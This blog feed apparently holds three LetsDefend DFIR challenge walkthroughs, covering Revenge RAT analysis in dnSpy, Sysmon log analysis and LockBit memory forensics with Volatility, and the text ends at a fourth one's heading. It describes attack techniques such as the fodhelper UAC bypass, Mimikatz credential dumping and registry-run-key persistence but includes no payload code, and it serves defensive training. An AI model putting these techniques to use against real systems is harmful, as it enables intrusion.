Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a walkthrough of the Revenge RAT challenge from LetsDefend, you’re in the right place.

In this scenario, we’re going headfirst into the world of malware reverse engineering. An incident response team provided us with a Remote Access Trojan (RAT) malware sample used during an attack on a fictional organization. Our job is figure out what the malware was compiled with, how it’s configured, and what it does.

To analyze the sample logs, we’ll leverage dnSpy, a .NET debugger, and compare our analysis with some external research about the malware and its functions to give us comprehensive view of the attack. I’m still a newbie with my own reverse engineering skills, so we’ll have fun piecing this together. Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

An attack on a company employed a Remote Access Trojan (RAT) disguised in seemingly harmless files. The RAT infiltrated the network and operated as fileless malware.

DFIR analysts have extracted the malware. Now they need you to analyse the sample and uncover its secrets. By dissecting the binary, we can understand its behaviour, assess the damage, and devise a strategy to eradicate the threat, ensuring the organization’s security.

Question 1: What compiler is used for this sample?

All right, let’s kick off our investigation! The first thing we’ll do is extract the sample.7z from the ChallengeFile folder and reveal the sample file — f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8

Next, it’s always a good idea to get familiar with what tools are available for use within the Tools folder. This is especially helpful for me since I’m still working to level-up my malware reverse engineering skills.

Now that we have extracted the sample file and have gotten an overview of our tools, let’s start performing some analysis on the file.

To answer Question 1, we’ll first need to understand what type of file the sample is so that we can determine the best tool for analysis. To do this, let’s gather some information using Detect It Easy (DIE) which is a useful utility to identify the file type of a binary. We’ll launch this utility from the Tools folder, then point it to the sample file.

Output from Detect It Easy (DIE)

Once analyzed by DIE, we’ll see a few key details that answer Question 1. The sample binary is **.NET-**based and compiled with the Visual Basic (VB.NET) compiler.

Question 2: What is the mutex name checked by the malware at the start of execution?

All right, now we’re getting into the meat of the challenge.

In the previous question, we’ve determined that the malware is .NET based, so we should be able to use some of the .NET decompilers from the Tools folder. While I’ve used JetBrains dotPeek in the past, I want to expand my horizons and try out a new tool this time.

Only one problem, I’m not familiar with any of the other available tools. So, let’s back up and do some Google research. But instead of searching for .NET decompilers, why don’t we first see what research is available about the Revenge RAT? By doing this**,** I stumbled across an excellent blog from Perception Point containing some helpful information about the malware.

Revenge RAT malware is back | Perception Point _In this blog post, we analyze the attack chain of a recent Revenge RAT malware campaign to better understand the…_perception-point.io

It’s so helpful in fact, that we’ll refer to it throughout the walkthrough to corroborate our findings. But most importantly for this task, it gives us an idea of a tool that we can use to view the sample’s code — dnSpy.

we can open the executable in DnSpy and view the code. Surprisingly, this malware’s code is readable and not obfuscated.

Sounds like this will fit the bill, so let’s jump into the dnSpy. Once the sample is loaded, we can start with the analysis. Inside dnSpy we’ll immediately see something identical to Perception Point’s infographic — the executable name Client.exe with the Lime namespace below.

Let’s expand the Program class node and check out the Main() method as a starting point. There are references to mutex in a couple of spots. It seems that once the malware creates the mutex, it pulls the name from the Config class**.** Let’s check this out by clicking on currentMutex.

This jumps us directly into the Config class which holds some interesting configuration strings including the name for the currentMutex. This should be the string that we need to answer Question 2!

The Config Class

Question 3: What function was used to get information about the CPU?

For Question 3, instead of stumbling through the code blindly, let’s refer back to the Perception Point research to get some direction. Their research states:

[The first packet sent from the user’s computer to the C2 server contains lots of sensitive data related to the user’s computer. The data collected using a custom class presents the code named " # "

IdGenerator" . Below are some of the methods the class uses to retrieve sensitive data:](https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/)

Now that we have some idea of what to look for, let’s verify if we see the same result within our sample. Expand all the namespaces to locate the IdGenerator class beneath Lime.Helper.

Here we’ll find several methods that appear to be collecting identifying data about the victim’s device — I’ll take a wild guess that GetCPU()is responsible for gathering information about the device’s CPU.

After a quick review, we can confirm the answer for Question 3. We’ll see that this function collects CPU information from the device’s Windows registry.

Question 4: What key was used during the " # "

SendInfo" function?

Now, let’s navigate to the SendInfo()method, also under Lime.Helper , and locate the references to the key variable. If we click it, we’ll be taken back to the Config class where we can see the string we’ll need to answer Question 4:

Question 5: What API was used by the malware to prevent the system from going to sleep?

From the previous questions, you may have already noticed another conveniently labeled class under Lime.Helper called PreventSleep. This sounds like exactly what we are looking for!

Once we click into the Run()method, we can see a call being made to the SetThreadExecutionStateAPI:

To confirm that this is correct, we’ll check the Microsoft Learn page for this function where it states:

Enables an application to inform the system that it is in use, thereby preventing the system from entering sleep or turning off the display while the application is running.

There we go! Thanks to the convenient labeling and some external research, we’ve confirmed that we found the answer to Question 5.

Question 6: What variable stores the volume name and the function that imported the " # "

GetVolumeInformationA" api?

To answer Question 6, we’ll need to search for a specific variable that stores the volume name retrieved by the GetVolumeInformationA API.

For some context, let’s turn back to Microsoft Learn, where it’s documented that this function “Retrieves information about the file system and volume associated with the specified root directory_.”

So, to find this reference in the sample, let’s simply leverage dnSpy’s search function and use the keyword GetVolumeInformationA. The search leads us to Lime.NativeMethods > Native > GVI.

While I’m no coding wizard, it appears that within the GVI method, the GetVolumeInformationA function is imported from kernel32.dll and called. Then, the volume data retrieved by this function is stored in the IP variable_._

Question 7: What function was used to retrieve information about installed video capture drivers?

For Question 7, we need to look for a function that collects information about the victim’s video capture (aka camera) drivers. For this, let’s circle back to the IdGenerator class under Lime.Helper where we found the answer to Question 3.

GetCamera()

There we’ll find a GetCamera() method. While this seems like a good match based on the name, let’s double-verify this again with Microsoft Learn which states that:

The capGetDriverDescription function retrieves the version description of the capture driver.

Question 8: What is the value of the ID after removing obfuscation?

We’ve made it to the last question! To answer Question 8, we’ll jump back to the Config class where already found the answers to Questions 2 & 4, this time focusing on the id string.

The question tells us that the value is obfuscated (likely in Base64), so we’ll need to decode it to find the answer. To do this, we’ll use CyberChef from Tools folder to perform some operations on the string. Just paste the value into the input box and add " # “From Base64"to the recipe:

Easily enough, we’ve decoded the string and have uncovered the answer to Question 8! Now let’s wrap up this analysis.

Conclusion:

Mission accomplished! Using Detect-It-Easy, we figured out that the malware binary was compiled with VB.NET and then discovered some external research about the RAT from Perception Point to add some context to the investigation. Then, we brought the malware sample into dnSpy to uncover details about the information it collects about a victim’s system and how these functions work from Microsoft Learn. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Revenge RAT!

A big thank you to LetsDefend, for yet another engaging and challenging lab! I tend to stumble through reverse engineering challenges since I do not have a coding background and even the terms can be confusing! Even so, I always try to push myself to learn about new things outside of my comfort zone by tackling unfamiliar topics. Fortunately, the power of research helped me understand the bigger picture of the malware, allowing me to analyze it more confidently. Overall, this lab was a great learning opportunity, especially getting some hands-on time with dnSpy and expanding my toolset. Practice makes perfect, after all!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Wikipedia (Visual Basic (.NET)): https://en.wikipedia.org/wiki/Visual_Basic_(.NET)

dnSpy: https://github.com/dnSpy/dnSpy

Perception-Point: https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/

Microsoft Learn — SetThreadExecutionState: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate

Microsoft Learn — GetVolumeInformationA: https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa

Microsoft Learn — capGetDriverDescriptionA: https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona

CyberChef: https://gchq.github.io/CyberChef/

LetsDefend — Log Analysis with Sysmon Walkthrough

Mon, 18 Nov 2024 00:00:00 +0000

LetsDefend — Log Analysis with Sysmon Walkthrough

An Endpoint Forensic Investigation with Sysmon, EvtxECmd, Timeline Explorer, and MITRE ATT&CK

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Log Analysis with Sysmon challenge from LetsDefend, you’re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR).

In this scenario, a victim’s device has been compromised with malware, and we need to investigate what happened to contain the threat. Our objective is to analyze the Sysmon event logs to determine how the attacker gained initial access, escalated privileges, evaded the system’s defenses, and what tools they used to do it.

Sysmon is a utility that is part of the Microsoft Sysinternals suite. It runs as a system service and monitors detailed system activity, like process creation, file creation, and network connections, and logs it to the Windows Event Log. Sysmon also has its own event types that can be used to filter specific activity in the logs.

To analyze the Sysmon logs, we’ll leverage Eric Zimmerman’s EvtxECMD and Timeline Explorer. Then, we’ll map the adversary’s techniques and software to MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive view of the attack.

Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

Our company has experienced a breach on one of its endpoints. Your task is to investigate the breach thoroughly by analyzing the Sysmon logs of the compromised endpoint to gather all necessary information regarding the attack.

Question 1: Which file gave access to the attacker?

Let’s kick off this challenge by extracting Sysmon_chall.zip. Inside of the archive, we’ll have two files: Sysmon.evtx and Sysmon.json.

The first file, Sysmon.evtx, is a Windows Event Log file that we can open and view in the Windows Event Viewer.

The second file, Sysmon.json, contains the same information as the first file, but in the JSON format so it can be imported into different data analytics tools for analysis.

For this investigation, we’ll start with Sysmon.evtx. Double-click it and it will open with the Windows Event Log Viewer as a saved log within our analysis environment.

But before we dive headfirst into the Event Logs, let’s back up a bit and get familiar with the Sysmon Events so we can analyze the logs more efficiently by filtering for the relevant event IDs. This is reference will be key to working through this investigation, so keep it handy:

Sysmon Events Reference:

Sysmon - Sysinternals _Monitors and reports key system activity via the Windows event log._learn.microsoft.com

Now, armed with some background knowledge, let’s jump into the Event Viewer and start hunting for the malicious file that gave the attacker access to the victim’s device. To narrow down the scope of our logs, let’s filter by Event ID 1: Process Creation and then sort descending order to look at the earliest event first.

Reviewing the processes, we stumble on the above event referencing unusual executable, IDM.exe. To investigate this process further, let’s use the Find button and analyze the other events referring to this executable.

To analyze the hits, switch over to the Details tab view, and after a couple of results, we’ll notice that first IDM.exe spawns a Windows Command Shell (cmd.exe) and then in the following event, a very suspicious command line…

These are enough red flags to determine that IDM.exe is the answer to Question 1. Let’s perform some further analysis on fodhelper.exe to better understand what the attacker is doing.

Question 2: What did the attacker use to bypass UAC? Mention the EXE.

Before we go too far, let’s give ourselves another option to analyze the Event Log. Sometimes, having a different view or method of analyzing data can be helpful to understand the relationships between processes.

Rather than manually searching the Event Viewer, we’re going to also parse the log using Eric Zimmerman’s EvtxECmd, export it to a CSV, then sort the results using another of his utilities, Timeline Explorer. This will allow us to search and filter the data more efficiently than manually browsing the Event Viewer.

Handily, both of the Eric Zimmerman utilities are already installed on the LetsDefend environment, so we simply need to open the Command Prompt as Administrator to launch the utility with the following syntax specifying the .evtx file and an output directory:

EvtxECmd.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\Sysmon.evtx” –csv YOUR-OUTPUT-DIRECTORY

Once the output file is created, open it with Timeline Explorer. To start, we’ll replicate the method we used in Question 1 and filter by the ParentCommandLine (Payload Data6) column for IDM.exe:

This is a cleaner view of the information we found in the previous question, isn’t it?

Now, let’s take to Google for research to understand what fodhelper.exe is and if it can be used in an attack. For example, check out the research from Atomic Red Team about user account control (UAC) bypass techniques (MITRE ATT&CK — T1548.002) to see what we can discover.

From the research, we’ll see a couple of documented techniques abusing the Features on Demand Helper (fodhelper.exe) to bypass the UAC prompt. These techniques allow a threat actor to abuse the legitimate binary to execute a process as a privileged administrator without the user account control dialogue.

Atomic Test #3 — Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, " # "

The operation completed successfully." will be shown twice and command prompt will be opened.

Atomic Test #4 — Bypass UAC using Fodhelper — PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.

Since we have discovered a documented method of abusing the fodhelper binary to bypass UAC that is also present on the infected device, we’ve found the answer to Question 2!

Question 3: What registry path and value was used by the above EXE to gain higher privileges? (path\value)

Let’s continue to build off the research that we found in the Atomic Red Team report and look at the listed commands used to exploit fodhelper.exe.

The techniques involve some registry modification. With that in mind, let’s filter the CSV file in Timeline Explorer by Event ID 13: RegistryEvent (Value Set) and then filter by IDM.exe.

Filter Event Id 13

Filter Payload Data3 by IDM.exe

If you’re more comfortable in the Event Viewer, here is the same event that we located in Timeline Explorer:

Pulling back to a high-level overview, let’s simply search Timeline Explorer for fodhelper.exe. This not only gives us a better view of the sequence of events and relationships between the processes but also to see the Registry Key accessed by fodhelper.exe.

Because the This Registry location matches the location documented in the Atomic Red Team report, we can confidently say that we found the answer to Question 3!

https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4—bypass-uac-using-fodhelper—powershell

Question 4: The attacker dropped a file. What is the file location?

Okay, let’s continue investigating within Timeline Explorer, this time, filtering on Event ID 11: File Create. According to the Sysmon documentation, this event captures file creation events and is " # “useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.“Once we have the Event ID filter, scroll over to the RuleName column and type Downloads. Applying these two options will show us the audited file creation events and filter on the term downloads, including the downloads directory.

Right away, we see a red flag — mimikatz.exe. If you aren’t familiar with Mimikatz, here is a quick summary from the MITRE ATT&CK knowledge base:

[” # "

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.](https://attack.mitre.org/software/S0002/)"

Let’s submit the flag and learn more about what techniques Mimikatz uses.

Question 5: What are the technique name and ID used by the dropped EXE?

To answer Question 5, we need to first answer the question: What is Mimikatz used for? In the previous question, I linked the description from MITRE ATT&CK, but let’s focus on one detail: Mimikatz is a credential dumper.

This description of the tool gives us the answer — the most applicable MITRE ATT&CK technique is Credential Dumping (MITRE ATT&CK — T1003.)

OS Credential Dumping _Active Directory Active Directory Object Access Monitor domain controller logs for replication requests and other…_attack.mitre.org

Question 6: What is the name of the attack?

We’ve already determined that Mimikatz is a credential dumper, but to answer Question 6, we need to figure out what the adversary did with the stolen credentials. Let’s jump back to the Mimikatz software page on MITRE ATT&CK to learn more about any techniques associated with it.

Mimikatz _Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many…_attack.mitre.org

We’ll focus on the Techniques Used section of the software page. Mimikatz has lots of listed capabilities but there is one it is infamous for facilitating. We can cheese this a little bit by looking at the answer format to narrow down the results, too.

Pass the Hash! This is a technique where an attacker can access and dump credential data, like NLTM hashes, from the Local Security Authority Subsystem Service (LSASS) process in Windows and then " # "

pass” the stolen hash instead of providing the password to authenticate as that user. This way, it’s possible to elevate privileges or move laterally through the target environment.

Question 7: What EXE did the attacker run using elevated privileges from the above attack?

Now back to Timeline Explorer! We’ll approach Question 7 by searching for Mimikatz to determine if it spawned any child processes, potentially using the Pass the Hash technique to elevate privileges of the child process.

Once we enter " # “mimikatz"into the search, we’ll stumble on something interesting — mimikatz.exe has spawned a powershell.exe process. Let’s examine the payload contents:

Timeline Explorer View

Event Viewer View

Notice the IntegrityLevel with the value of High? Because mimikatz.exe (PID 4988) is the parent process, this tells us that PowerShell was executed with elevated, administrative level privileges — We’ve found the answer to Question 6!

Question 8: The attacker downloaded and ran a file. What is the filename?

Okay, we’ve made it to the last question! Let’s hunt for the next file the attacker downloaded. For this, we’ll set up the same filters that we did for Question 4 — filtering on Event ID 11: File Create and entering Downloads in the RuleName column.

Right below the mimikatz.exe that we found earlier, we’ll see evidence of second executable that’s created:

012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe

This seems promising. Now, we need to determine if the attacker ran it to confirm that we have found the correct answer. To do this, let’s filter the Event ID column by Event ID 1 (Process Creation) in and then search for:

012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe

With the filtering in place, we can confirm that the attacker leveraged PowerShell to download this second stage payload and used the Start-Process cmdlet to execute it_._ Great job! Let’s submit the flag and wrap up this investigation!

Conclusion:

There we have it! Using the Sysmon logs, we’ve successfully identified the binaries used for initial access, defense evasion, credential access, privilege escalation, and the second-stage malware. During the investigation, we turned to MITRE ATT&CK to reveal more details about each of these techniques to better understand how the adversary was attacking the victim’s device. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the Log Analysis with Sysmon!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me as I’ve never had the opportunity to leverage Sysmon in an investigation despite testing and deploying it fairly often. I chose this one to get some reps in with the logging it provides so that when I need it in the real world, I’ll have that practice. I also really appreciated that this investigation required some use of MITRE ATT&CK to add context to the answers; in addition to being needed to answer one of the questions. Personally, thinking in terms of TTPs helps me organize my thoughts during an investigation, so this was also really good practice. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

Microsoft Sysinternals: https://learn.microsoft.com/en-us/sysinternals/

Eric Zimmerman’s Tools (EvtxECMD & Timeline Explorer): https://ericzimmerman.github.io/#!index.md

Sysmon Events Reference: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events

Atomic Red Team — T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control: https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4—bypass-uac-using-fodhelper—powershell

MITRE ATT&CK — Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): https://attack.mitre.org/techniques/T1548/002/

MITRE ATT&CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/

MITRE ATT&CK — OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/

MITRE ATT&CK — Use Alternate Authentication Material: Pass the Hash (T1550.002): https://attack.mitre.org/techniques/T1550/002/

LetsDefend — LockBit Challenge Walkthrough

Mon, 11 Nov 2024 00:00:00 +0000

LetsDefend — LockBit Challenge Walkthrough

A Memory Forensic Investigation with Volatility3, Volatility2, and VirusTotal

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the LockBit Challenge from LetsDefend, you’re in the right place. Prepare to be thrown right into the world of digital forensics and incident response (DFIR).

A victim’s device has been compromised with ransomware and all their files have been encrypted — now the attacker is demanding payment! Our objective is to dissect a memory dump of the infected device, provide an analysis of the attack, and understand our options. To accomplish this mission, we’ll leverage Volatility3, Volatility2, and VirusTotal to hunt for the malware process, determine what ransomware family it’s part of, scour VirusTotal to detail its behavior, and uncover how the malware elevates privileges and stays persistent on the system.

Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/lockbit

Challenge Scenario:

You are a Digital Forensics and Incident Response (DFIR) analyst tasked with investigating a ransomware attack that has affected a company’s system. The attack has resulted in file encryption, and the attackers are demanding payment for the decryption of the affected files. You have been given a memory dump of the affected system to analyze and provide answers to specific questions related to the attack.

Question 1: Can you determine the date and time that the device was infected with the malware? (UTC, format: YYYY-MM-DD hh:mm:ss)

Let’s kick off this investigation by extracting the ChallengeFile containing the memory dump of the victim’s system, Lockbit.vmem.

To analyze the contents of this file we’ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and the latest, Volatility3 (in active development.) They are a little different but for this challenge, we’ll start with Volatility3 but (spoilers) we will also have to use Volatility2 to solve Question 4. Don’t worry, I’ll note which version to use since the commands will change, too.

Finally, before we dive into Volatility3, let’s get familiar with the command to show the Volatility3 manual pages. This is handy way to see what plugins are available for use:

vol -h

Now, let’s get started hunting for the malware process. To identify the malicious process, the first step is to understand what processes were running on the victim’s system during the incident when the dump was taken. We’ll accomplish this by leveraging Volatility’s [windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist) plugin to scan the image and list the running processes on the system using the syntax below:

vol -f Lockbit.vmem windows.pslist

Let’s go out on a limb and assume that the obvious one called mal.exe is the process we are looking for. From there, we just need to grab the timestamp from the CreateTime column to determine when the device was infected.

Question 2: What is the name of the ransomware family responsible for the attack?

To identify the ransomware family, we first need to obtain the file hash of the malware’s executable by first extracting the process from the memory dump. We can do this by using Volatility3’s [windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles) plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump, and the process ID (PID) of the mal.exe process we found in Question 1.

vol -f Lockbit.vmem -o windows.dumpfiles –pid 900

This will give us two separate output files: a .dat and a .img. I’ll put the results for both below, but for this example let’s run a SHA256 hash calculation on the extracted .img file right from the terminal. Then, we’ll submit the hashes to VirusTotal to check if there are any hits.

sha256sum file.0xfa801bfe5320.0xfa801c116990.ImageSectionObject.mal.exe.img

IMG File — VirusTotal Report: https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c

sha256sum file.0xfa801bfe5320.0xfa801bde2b10.DataSectionObject.mal.exe.dat

DAT File — VirusTotal Report: https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1

After receiving the report for the .img file, the sample has previously been analyzed by VirusTotal and is detected as malicious by most scanning engines on the platform. What we are most interested in is the Family labels tag where we’ll see that the malware is part of the Lockbit ransomware family.

Question 3: What file extension is appended to the encrypted files by the ransomware?

Let’s continue using the VirusTotal report to see what else we can learn about the malware_._ The next stop is to check the Behavior > File System Action tab.

In this area, we can check the Files Written by the malware to determine what extension it’s adding to the files it encrypts. For this sample, we can see that the ransomware appends the .lockbit extension to the encrypted files:

To confirm we see the same behavior, let’s jump back into Volatility3 and search the victim’s image for anything similar with the [windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin which can search for file objects. To make this easier, we can _grep".lockbit"to narrow down the results.

vol -f Lockbit.vmem windows.filescan | grep -i “.lockbit”

While this is just a small sampling of the files with this extension, it’s enough to confirm that we have found the correct answer to Question 3!

Question 4: What is the TLSH (Trend Micro Locality Sensitive Hash) of the ransomware?

To answer Question 4, we need to find the Trend Micro Locality Sensitive Hash (TLSH) of the ransomware binary. TLSH is not a term I’m familiar with, so let’s do some Google research. We’ll find that according to Trend Micro, a TLSH is:

a kind of fuzzy hashing that can be employed in machine learning extensions of whitelisting. TLSH can generate hash values which can then be analyzed for similarities. TLSH helps determine if the file is safe to be run on the system based on its similarity to known, legitimate files.

Put another way a TLSH can be used to detect similarities between objects in data even if the content is not identical. So similar pieces of malware would have similar a TLSH. But how do we determine the TLSH of the .img file we submitted to VirusTotal?

Handily_, VirusTotal_ already calculates the TLSH upon submission so we can simply refer back to the Details > Basic Properties tab on the VirusTotal report. Easy enough!

Or so I thought…

We’ve run into a problem: the TLSH reported from the two files (.img & .dat) that we dumped in Question 2 do not work to solve the question.

For some hindsight: Next, I tried dumping the process by using the [windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memdump) and [windows.dlllist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dlllist) plugins, and while I got some different SHA256 hashes to submit, none matched what the question was looking for. So, after stumbling around researching on Google, I finally found the following issue on the Volatility3 GitHub with this comment:

procdump produced files have different checksums from volatility 2 · Issue #160 ·… _It differs when you view the hash value of the same file. Is the procdump of ver 2 and 3 different? in this page’s…_github.com

This is because the volatility3 procdump plugin currently outputs files as if they had been dumped by volatility2 with --memory (ie, it’s dumping the memory image, not the reconstructed PE file)

Ah-ha! Since there are differences in how the process dump works between the two versions of Volatility. Let’s switch to Volatility2, dump the process again, and compare the output.

In Volatility2, we first must determine what OS image profile is needed — notice that we are using vol.py now on the analysis environment to launch Volatility2.

vol.py -f Lockbit.vmem imageinfo

Once we find the correct profile, let’s try dumping the mal.exe process again using the [procdump](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#procdump) plugin:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 procdump –pid=900 –dump-dir=YOUR-OUTPUT-DIRECTORY

This time, Volatility2 dumps one reconstructed binary instead of the two separate .img and .dat files. Let’s submit the new file (executable.900.exe) to VirusTotal and see if this changes the resulting TLSH:

EXE File — VirusTotal Report: https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708

VirusTotal VirusTotalwww.virustotal.com

Bingo! By switching from Volatility3 to Volatility2 to run the process dump, we’ve located the correct VirusTotal report and corresponding TLSH!

Question 5: Which MITRE ATT&CK technique ID was used by the ransomware to perform privilege escalation?

Now that we have a new VirusTotal report to review, let’s analyze its behavior, focusing on the Behaviors > MITRE ATT&CK Tactics and Techniques section. We’re looking for privilege escalation techniques, so expand the privilege escalation header to see all the observed tactics and techniques used by the malware:

VirusTotal Behaviors > MITRE ATT&CK Tactics and Techniques

At this point in our analysis, we could be searching for any of the listed techniques to answer Question 5. To narrow it down further, check the next section, Malware Behavior Catalog Tree, focusing again on the Privilege Escalation behaviors.

VirusTotal Behaviors > Malware Behavior Catalog Tree

Comparing the two sections we do see some overlap in the listed techniques. Since the question is asking (and only has room for) the technique ID (T1543) and not the sub-technique, let’s check our work and see if we found the correct answer…

VirusTotal Behaviors > MITRE ATT&CK Tactics and Techniques > Create or Modify System Process (T1543)

Question 6: What is the SHA256 hash of the ransom note dropped by the malware?

Next, scroll down to the File system actions > Files Dropped section to see the observed file activity. We’re looking for anything dropped by the malware that resembles a ransom note. This will help identify the note’s name, which we can then search for in the memory dump using Volatility2. You’ll quickly notice that there are dozens of instances of a ransom note-y type files, Restore-My-Files.txt.

Dropped Files Summary from VirusTotal

In the same way that we handled Question 3, let’s jump back into Volatility2 and use the [filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin to search the file objects in the image for the ransom note. Again, we’ll use grep to filter the results matching the name of the ransom note:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 filescan | grep -i “Restore”

Unfortunately, we don’t find anything that matches the string. So, let’s pivot to the [mftparser](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#mftparser) plugin to scan the Master File Table (MFT) for the artifact:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 mftparser | grep “Restore”

While this looks more promising and confirms the activity on the victim’s device, we have no way of extracting the files to calculate the SHA256 hash that is needed to answer the question.

Returning to VirusTotal; this becomes a process of elimination using the pre-existing analysis results. Starting at the top of the dropped files list, expand the first entry, " # “Restore-My-Files.txt,“to reveal the available SHA256 hashes. Let’s try each hash to see if any work.

Luckily, the first " # "

dropped” ransom note in the list is the one we are looking for!

Question 7: What is the name of the registry key edited by the ransomware during the attack to apply persistence on the infected system?

Finally, let’s continue using the VirusTotal report and analyze the persistence mechanisms used by the malware. Looking at the _MITRE ATT&CK Tactics and Techniques s_ection again, we’ll find several observed techniques listed, but only one referencing the Windows Registry. This is a common persistence method where a threat actor might use a run key to execute an application when a user logs in (MITRE ATT&CK — T1547.001.)

Finding the relevant technique is a good start, but let’s see if VirusTotal can provide any more information about the created registry key. The next place to check is the Crowdsourced Sigma Rules section**.** These Sigma rules are open-source threat detection rules and can be extremely useful when applied to the VirusTotal analysis. For example, let’s open the rule hit for CurrentVersion Autorun Keys Modification:

The matching rule contains a TargetObject for the Autorun key modification. At the very end, we can see the very suspicious key object name — this could be what we’re looking for. Let’s double-confirm by scrolling down Registry Actions > Registry Keys Set section and see if this key appears again:

Since we’ve seen this key referenced twice and the location matches a known adversary technique, I think we’ve found our answer! Let’s submit the flag and wrap up our investigation!

Conclusion:

Mission accomplished! With the help of Volatility, we’ve successfully identified the malware process and found the file hash of the executable to determine its ransomware family. After that, we turned to VirusTotal to reveal more details about the malware including how it elevates privileges and stays persistent on the system. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the LockBit Challenge!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a great learning opportunity because I hit a couple stumbling blocks particularly trying to uncover the TLSH of the malware binary. I was really interested in this question since I was unfamiliar with what a TLSH is and because the challenge didn’t specify any recommended tools, needing to pivot from Volatility3 to Volatility2 was an unexpected twist — I suspect this lab was designed with the older version in mind. But, this was a great example of the importance of staying flexible during an investigation — I’ve done a string of Volatility labs recently so I had gotten into a routine using Volatility3 and didn’t even consider choosing Volatility2 until a couple of hours of being stuck on that question — newer doesn’t always mean better and it’s a good reminder to check my own confirmation biases.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

VirusTotal (.img): https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c

VirusTotal (.dat): https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1

Trend Micro: Smart Whitelisting Using Locality Sensitive Hashing | Trend Micro (US)

Volatility GitHub Issues: https://github.com/volatilityfoundation/volatility3/issues/160

VirusTotal (executable.900.exe): https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708

MITRE ATT&CK — Create or Modify System Process (T1543): https://attack.mitre.org/techniques/T1543/

MITRE ATT&CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/

LetsDefend — Brute Force Attacks Challenge Walkthrough

Sun, 15 Sep 2024 00:00:00 +0000

LetsDefend— Brute Force Attacks Challenge Walkthrough

Investigating a Brute Force Attack with Wireshark and Auth.log

Image Credit: https://letsdefend.io/

Introduction:

